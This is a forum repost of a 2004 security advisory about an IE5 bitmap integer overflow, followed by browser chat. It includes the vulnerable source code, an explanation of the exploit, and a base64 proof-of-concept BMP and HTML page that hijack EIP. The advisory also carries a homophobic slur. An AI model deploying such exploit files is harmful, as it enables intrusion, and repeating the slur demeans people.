Posted on 02/16/2004 9:56:47 AM PST by Bobalu
Microsoft Internet Explorer Integer Overflow in Processing Bitmap Files Lets Remote Users Execute Arbitrary Code
SecurityTracker Alert ID: 1009067 CVE Reference: GENERIC-MAP-NOMATCH (Links to External Site) Date: Feb 15 2004
Impact: Execution of arbitrary code via network, User access via network
Exploit Included: Yes
Version(s): 5 (6 is reportedly not vulnerable)
Description: A vulnerability was reported in Microsoft Internet Explorer (IE) version 5. A remote user can execute arbitrary code on the target system.
It is reported that a remote user can create a specially crafted bitmap file that, when loaded by IE, will trigger an integer overflow and execute arbitrary code.
The author states that this flaw was found by reviewing the recently leaked Microsoft Windows source code. The flaw reportedly resides in 'win2k/private/inet/mshtml/src/site/download/imgbmp.cxx'.
The report indicates that IE 5 is affected but that IE 6 is not affected.
A demonstration exploit is provided in the Source Message [it is Base64 encoded].
Impact: A remote user can cause arbitrary code to be executed on the target user's computer when the target user's browser loads a specially crafted bitmap file. The code will run with the privileges of the target user.
Solution: No solution was available at the time of this entry.
Vendor URL: www.microsoft.com/technet/security/ (Links to External Site)
Cause: Boundary error
Underlying OS: Windows (Any)
Reported By:
Message History: None.
--------------------------------------------------------------------------------
Source Message Contents
--------------------------------------------------------------------------------
Date: Sat, 14 Feb 2004 22:08:59 -0800 From: Subject: [Full-Disclosure] GAYER THAN AIDS ADVISORY #01: IE 5 remote code execution
--Hush_boundary-402f0cfb09a9f Content-type: text/plain
I downloaded the Microsoft source code. Easy enough. It's a lot bigger than Linux, but there were a lot of people mirroring it and so it didn't take long.
Anyway, I took a look, and decided that Microsoft is GAYER THAN AIDS. For example, in win2k/private/inet/mshtml/src/site/download/imgbmp.cxx:
// Before we read the bits, seek to the correct location in the file while (_bmfh.bfOffBits > (unsigned)cbRead) { BYTE abDummy[1024]; int cbSkip;
cbSkip = _bmfh.bfOffBits - cbRead;
if (cbSkip > 1024) cbSkip = 1024;
if (!Read(abDummy, cbSkip)) goto Cleanup;
cbRead += cbSkip; }
.. Rrrrriiiiggghhhttt. Way to go, using a signed integer for an offset. Now all we have to do is create a BMP with bfOffBits > 2^31,
and we're in. cbSkip goes negative and the Read call clobbers the stack with our data.
See attached for proof of concept. index.html has [img src=1.bmp] where 1.bmp contains bfOffBits=0xEEEEEEEE plus 4k of 0x44332211. Bring it up in IE5 (tested successfully on Win98) and get EIP=0x44332211.
IE6 is not vulnerable, so I guess I'll get back to work. My Warhol worm will have to wait a bit...
.gta PROPS TO the Fort and HAVE IT BE YOU.
--Hush_boundary-402f0cfb09a9f Content-type: text/html; name="index.html" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="index.html"
PGh0bWw+PGhlYWQ+PHRpdGxlPmJvb208L3RpdGxlPjwvaGVhZD4KPGJvZHk+CjxoMT5IZWxsbzwv aDE+CjxpbWcgc3JjPTEuYm1wIGJvcmRlcj0xPgo8L2JvZHk+CjwvaHRtbD4=
--Hush_boundary-402f0cfb09a9f Content-type: application/octet-stream; name="1.bmp" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="1.bmp"
Qk0wWwAAAAAAAO7u7u4oAAAA4QEAAC4AAAABAAgAAAAAAAAAAAASCwAAEgsAAAAAAAAAAAAANgYV AEwYHQBhICUAhDovAJA/MABuMCMAk0QuAJdHLwD05eAAZDEeAJdKKgCZTCwAnU0uAO7i3QCaTCkA m00rAJJJKgBaKxMAkEgjAJRLJgCdTykAl0wnAJlOKQCwZkIAez4dAJ1QJgCbTyUAl04kAJ9RKAC2 cEsAvYJjAE8eAACeUiIAmVEjAKBUJgByPBwAnVMnAJ9WKgCERyMAo1ouAKZgNgCJVDQAf1tEAIxr VwDe1M4AWCQAAKNYIwCXUSEAnlQkAHdNMACpbkUAn4V0ALaaiABnLQAAYCkAAI5JFQCQTBgAaDcS AJNOHACYViYAnV0vAJRnRACteFEAw6+gAPXx7gByNAAAbTEAAIZCCgCHQwsAh0QMAIhFDgCKRxEA jEkTAKZcHgC3k3UA1MW5AH48AAB9PAAAfDsAAHs6AAB6OQAAeTkAAHc3AAB1NgAAfz0BAH48AQB/ PgIAgD4DAIA/BACBQAUAgUEGAIJBBwCCQggAg0QKAIRECwCERQwAhUYNAIVHDgCGSBAAh0oSAIhL EwCISxQAiU0WAItPGQCLUBoAjFEcAI1THgCOVB8ArmgnAI9WIgCRWSYAk1wrAJVfLgCXYjIAmWU1 AJtnOQCdaj0An25DAKN1SgCleE4Ap3tTAKt/VwCuhF4AqmEYAHtKGAChckUArmUSALBoCACyagEA t3AKAJRhFgC4eR8AyYcnANmbRQD8+vcAu3QAALZvAADBfQAAvnkAAHNMBQC+fQ4A0pQiAOGoQQDH hQAAxYIAAMOAAACudAEAyooLAMWECwDOjwAAy4sAAMmJAADIhwAAzY8LANmfIQDRkwAAyY4AAL+G AADVmgoA0ZYLANifEQCvmGEA15wAANOYAADNlQAAwpYZAK2RRQDClAAAsYQAALCPJACLbAAAnn4E AMikAACzlwYAc2UAALqtKgDj4LsAnZgdALq3PgB+fQAAo6EtALy7TwBpaWgA///+AKywBACLlwAA srpNAMLIeACksh0AqLU0AHmBPACquUkAsb5hAJOsAwChrlYAjZhNAImiEwCatDYAbIsAAJ24RACg uUgAcpkAAJK0JgCuxGwA/P35AHSfAAB5pgIAmLhBAKG8VAB8rwAAdqYAAHGhAAB/sQoAl7hHAHeu AAByqQAAdakAAHKmAACQtj4AkrhCAHKtAABjlgAAfrMYAIS0JgCItTIAaagAAGWeAAB1sRAAirY7 AGutAACYvmAAe7QvAIy5TwBdqQAAgbdAAGuzHQBOrgEAdbdHAHq5VQCEwGkARbMnAD6yIQBjulMA RblOAGLBcQCL06UAQsN1AP///wBKSkoANTU1ACYmJgAXFxcADQ0NAAYGBgACAgIAAAAAABEiM0QR IjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEi M0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIz RBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNE ESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QR IjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEi M0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIz RBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNE ESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QR IjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEi M0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIz RBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNE ESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QR IjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEi M0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIz RBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNE ESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QR IjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEi M0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIz RBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNE ESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QR IjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEi M0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIz RBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNE ESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QR IjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEi M0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIz RBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNE ESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QR IjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEi M0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIz RBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNE ESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QR IjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEi M0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIz RBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNE ESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QR IjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEi M0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIz RBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNE ESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QR IjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEi M0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIz RBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNE ESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QR IjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEi M0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIz RBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNE ESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QR IjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEi M0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIz RBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNE ESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QR IjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEi M0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIz RBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNE ESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QR IjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEi M0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIz RBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNE ESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QR IjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEi M0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIz RBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNE ESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QR IjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEi M0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIz RBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNE ESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QR IjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEi M0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIz RBEiM0Q=
--Hush_boundary-402f0cfb09a9f--
_______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
Better get rid of IE5 if you use it.... get mozilla or Opera.
FIRE!! FIRE!! RUN FOR THE HILLS!!! THE SKY IS FALLING!!!
While I like Opera, Windows Update will only work under IE. It's better to go ahead and install IE6 and not have to worry about security in obsolete versions.
5 is pretty old. Been on 6 for years.
Good point. So load IE6 for that, but run Mozilla Firebird ('Firefox', in its latest version) the rest of the time.
My difficulty with Opera is that their answer to the problem of features that don't work is to add more features that also don't work.
But it's great for cutting down the number of brower sessions on my desktop. I can read muliple threads on Free Republic with only one browser session, and it is easy to shutdown.
One additional observation: I suspect that the versions of Outlook Express and Outlook that "match" IE 5 are also vulnerable, which would mean that an HTML message with an embedded BMP image could exploit this problem.
If you can't click on links and can't see pretty pictures, it's clearly not a web browser.
Don't you have anything better to do than harass anyone that happens to post something critical of your benefactor?
It's probably more accurate to say that Mozilla "uses" Netscape, depending on your definition of "use".
Mozilla is actually a "fork" of Netscape's browswer. Netscape released the source, and the open source community moved forward with it.
Mozilla is the result. There is a complete suite that is similar to the original netscape, and there are also beta versions of a new browser (Firefox) and email client (Thunderbird) available for download/evaluation.
You can do the same thing with Mozilla Firefox (and it may be in the earlier versions of Mozilla, too). I really like the "tabbed" browser, as well.
I still have to use IE for a few things, though. I have to use certain plug-ins approximately weekly for my job. But, for everything else I've been using Firefox (it used to be called Firebird).
I'm on day three of trying mozilla's Camino for MacOS. I really like it!
Disclaimer: Opinions posted on Free Republic are those of the individual posters and do not necessarily represent the opinion of Free Republic or its management. All materials posted herein are protected by copyright law and the exemption for fair use of copyrighted works.